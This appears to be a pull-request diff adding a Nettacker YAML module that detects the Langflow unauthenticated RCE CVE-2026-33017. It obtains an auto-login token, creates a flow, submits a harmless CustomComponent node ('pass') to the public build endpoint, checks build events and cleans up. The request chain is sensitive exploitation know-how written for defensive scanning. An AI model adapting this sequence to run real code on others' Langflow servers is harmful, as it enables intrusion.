Add vulnerability detection module for CVE-2026-33017 (Langflow unauthenticated RCE) #1653
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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1,196 @@ | ||
| info: | ||
| name: langflow_cve_2026_33017_vuln | ||
| author: NSK-394 | ||
| severity: 9.8 | ||
| description: > | ||
| CVE-2026-33017 (CVSS 9.8) is an unauthenticated RCE in Langflow <= 1.8.2 | ||
| via the /api/v1/build_public_tmp/{{flow_id}}/flow endpoint. This module | ||
| detects the vulnerability by submitting a uniquely-identified CustomComponent | ||
| node and monitoring the build event stream. Vulnerable instances (≤1.8.2) | ||
| process the injected node and reference it in build events. Patched instances | ||
| (≥1.9.0) silently discard attacker-supplied nodes. Detection confirms the | ||
| input-validation flaw without independently verifying code execution. | ||
| LIMITATION: Step 4 (event polling) currently times out due to Nettacker's | ||
| global CLI timeout (default 3.0s) overriding per-step timeout specifications | ||
| (module specifies 30s). Workaround: increase --timeout CLI flag when running. | ||
| Steps 1-3 are verified working. Non-destructive, suitable for production | ||
| scanning once timeout issue is resolved. | ||
| reference: | ||
|
Collaborator
There was a problem hiding this comment. |
||
| - https://nvd.nist.gov/vuln/detail/CVE-2026-33017 | ||
| - https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx | ||
| profiles: | ||
| - vuln | ||
| - http | ||
| - critical_severity | ||
| - cve | ||
| - cve2026 | ||
| - langflow | ||
| - rce | ||
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| payloads: | ||
| - library: http | ||
| steps: | ||
| - method: get | ||
| timeout: 5 | ||
| headers: | ||
| User-Agent: Nettacker | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/api/v1/auto_login" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 7860 # Default Langflow port | ||
| - 80 | ||
| - 443 | ||
| response: | ||
| save_to_temp_events_only: token | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: '"access_token":"([^"]*)"' | ||
| reverse: false | ||
|
coderabbitai[bot] marked this conversation as resolved.
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| - method: post | ||
| timeout: 5 | ||
| headers: | ||
| User-Agent: Nettacker | ||
| Content-Type: application/json | ||
| Authorization: "Bearer dependent_on_temp_event[0]['content'][0]" | ||
| ssl: false | ||
| data: '{{"name": "nettacker_check", "data": {{"nodes": [], "edges": []}}, "access_type": "PUBLIC"}}' | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/api/v1/flows/" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 7860 # Default Langflow port | ||
| - 80 | ||
| - 443 | ||
| response: | ||
| dependent_on_temp_event: token | ||
| save_to_temp_events_only: flow_id | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "20[01]" | ||
| reverse: false | ||
| content: | ||
| regex: '"id":"([a-f0-9\-]{{36}})"' | ||
| reverse: false | ||
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| - method: post | ||
| timeout: 10 | ||
| headers: | ||
| User-Agent: Nettacker | ||
| Content-Type: application/json | ||
| Authorization: "Bearer dependent_on_temp_event[0]['content'][0]" | ||
| Cookie: "client_id=nettacker" | ||
| ssl: false | ||
| data: '{{"data": {{"nodes": [{{"id": "nettacker_vuln_check", "type": "genericNode", "position": {{"x": 0, "y": 0}}, "data": {{"type": "CustomComponent", "id": "nettacker_vuln_check", "node": {{"template": {{"_type": "CustomComponent", "code": {{"value": "pass", "type": "code"}}}}, "display_name": "NettackerCheck", "outputs": [{{"display_name": "Result", "name": "output", "method": "run", "types": ["str"]}}]}}}}}}], "edges": []}}}}' | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/api/v1/build_public_tmp/dependent_on_temp_event[1]['content'][0]/flow" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 7860 # Default Langflow port | ||
| - 80 | ||
| - 443 | ||
| response: | ||
| save_to_temp_events_only: job_id | ||
| dependent_on_temp_event: "token,flow_id" | ||
|
coderabbitai[bot] marked this conversation as resolved.
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| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: '"job_id":"([a-f0-9\-]{{36}})"' | ||
| reverse: false | ||
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| - method: get | ||
| # NOTE: This module requires running with --timeout 30 (or higher) due to a | ||
| # Nettacker engine limitation where TemplateLoader.parse() overwrites this | ||
| # per-step timeout with the global CLI --timeout default (currently default 3.0s). | ||
| # Workaround: use `nettacker.py ... --timeout 30` when running this module. | ||
| # See issue #1654 for details. | ||
| timeout: 30 | ||
| headers: | ||
| User-Agent: Nettacker | ||
| Authorization: "Bearer dependent_on_temp_event[0]['content'][0]" | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/api/v1/build/dependent_on_temp_event[2]['content'][0]/events" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 7860 # Default Langflow port | ||
| - 80 | ||
| - 443 | ||
| response: | ||
| dependent_on_temp_event: "token,flow_id,job_id" | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: nettacker_vuln_check | ||
| reverse: false | ||
| log: "CVE-2026-33017: Vulnerable instance confirmed - injected node processed by build engine" | ||
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| - method: delete | ||
| timeout: 5 | ||
| headers: | ||
| User-Agent: Nettacker | ||
| Authorization: "Bearer dependent_on_temp_event[0]['content'][0]" | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/api/v1/flows/dependent_on_temp_event[1]['content'][0]" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 7860 # Default Langflow port | ||
| - 80 | ||
| - 443 | ||
| response: | ||
| save_to_temp_events_only: cleanup | ||
| dependent_on_temp_event: "token,flow_id" | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "20[0-4]" | ||
| reverse: false | ||
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